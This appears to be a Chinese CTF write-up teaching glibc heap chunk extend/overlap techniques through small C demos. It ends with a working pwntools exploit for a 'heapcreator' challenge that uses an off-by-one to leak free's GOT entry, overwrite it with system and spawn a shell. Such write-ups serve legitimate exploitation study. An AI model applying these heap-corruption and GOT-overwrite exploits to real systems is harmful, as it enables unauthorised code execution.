gcc -g 1.c
int main(void)
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk
*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
return 0;
}
然后 gdb 调试,因为前面 gcc 带着 -g 的参数,所以可以直接 b 行号下断点。
当程序进行了两次 malloc 之后堆的情况是这样的:
下面第九行对 chunk1 的 size 位进行修改,成了这样:
对 chunk1 进行 free 操作之后,两个合为一个 0x40 大小的了:
之后我们再去 malloc 0x30 的话得到的就是 chunk1 跟 chunk2 一起的那个了,我们就可以控制 chunk2 的内容。
//gcc -g 2.c
//注意把之前那个a.out给删掉
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一个 0x80 的chunk1
malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并
*(int *)((int)ptr-0x8)=0xb1;
free(ptr);
ptr1=malloc(0xa0);
}
由于这个例子的申请的 ptr 这个不在 fastbins 中,如果跟 top chunk 相邻,释放的时候会合并掉,所以后面加上一个 chunk,把他们隔离开,防止合并。 分别在 11、12、13 行下断点,这是三次 malloc 结束之后的情况:
这是修改之后的情况:
这时候 free,因为不在 fastbin 范围里面,会放到 unsorted bins 中,可以注意到本来用来隔离的那一个 chunk 的 P 位被标为 0。
这时候再 malloc 回来就能控制 chunk2 了。
对 free 的 smallbin 进行 extend
//gcc -g 3.c
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一个0x80的chunk1
malloc(0x10);//分配第二个0x10的chunk2
free(ptr);//首先进行释放,使得chunk1进入unsorted bin
*(int *)((int)ptr-0x8)=0xb1;
ptr1=malloc(0xa0);
}
下好断点,两次 malloc 之后:
free 之后,放入到 unsorted bins 中:
对 size 位进行修改,然后再次 malloc 的时候就能对 chunk2 进行控制了。
//gcc -g 4.c
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第1个 0x80 的chunk1
malloc(0x10); //分配第2个 0x10 的chunk2
malloc(0x10); //分配第3个 0x10 的chunk3
malloc(0x10); //分配第4个 0x10 的chunk4
*(int *)((int)ptr-0x8)=0x61;
free(ptr);
ptr1=malloc(0x50);
}
四次 malloc 之后:
修改之后成了这样子:
free 之后:
这时候再去 malloc 就能控制那几个堆块了。
//gcc -g 5.c
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块
}
前面几次 malloc 之后:
对 ptr1 进行 free 之后,可以看到 ptr2 的那个 p 位已经变成 0 了。
修改之后:
free 操作:
实现了增删改查的功能,index 是从 0 开始的,结构是这样的: 一开始先会申请一个 0x10 的 chunk,用来存放申请的 heap 的大小和指针,然后后面才会申请要申请的 heap 的 chunk。
有一个 off by one 的漏洞,heaparray[a1] 本来就是存的 size,加上了个 1,可不就是多写了一位。
这是创建的时候的 size:
可以通用来写下一个堆块的 size 字段,伪造 chunk 的大小,然后 overlapping 更改指针。 free 函数的 got 表项的地址:
通过 off by one 把下一个 chunk 的 size 位给改为 0x41,这里的 heap 申请的是 0x18,多出来的 0x8 会直接用下一个 chunk 的 prev_size,所以我们才能把下一个的 size 给覆盖掉。
然后在释放的时候,我们释放了一个 0x40,一个 0x20,那么下一次申请的时候,要先申请 0x20 的结构体,所以会先在 0x603060 那个地方存放结构体,在 0x603070 这里放申请的 heap,而写内容的时候恰好可以把结构体的内容给覆盖掉。 p64(0) * 4 + p64(0x30) + p64(heap.got['free'])
这样,当 show 的时候展示的就是 free 的 got,拿到他以后可以用来计算 libc,另外,因为在刚刚申请的结构体中,内容现在指向的是 free 的 got,所以只要编辑内容就能够直接把 free 的 got 表里改成 system 的地址。 然后之前我们已经把第 0 个 heap 的内容给改成了 /bin/sh,这时候只要 delete(0) 就能拿到 shell:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit(idx, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)
def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
free_got = 0x602018
create(0x18, "dada") # 0
create(0x10, "ddaa") # 1
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free'])) #1
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
delete(0)
r.interactive()
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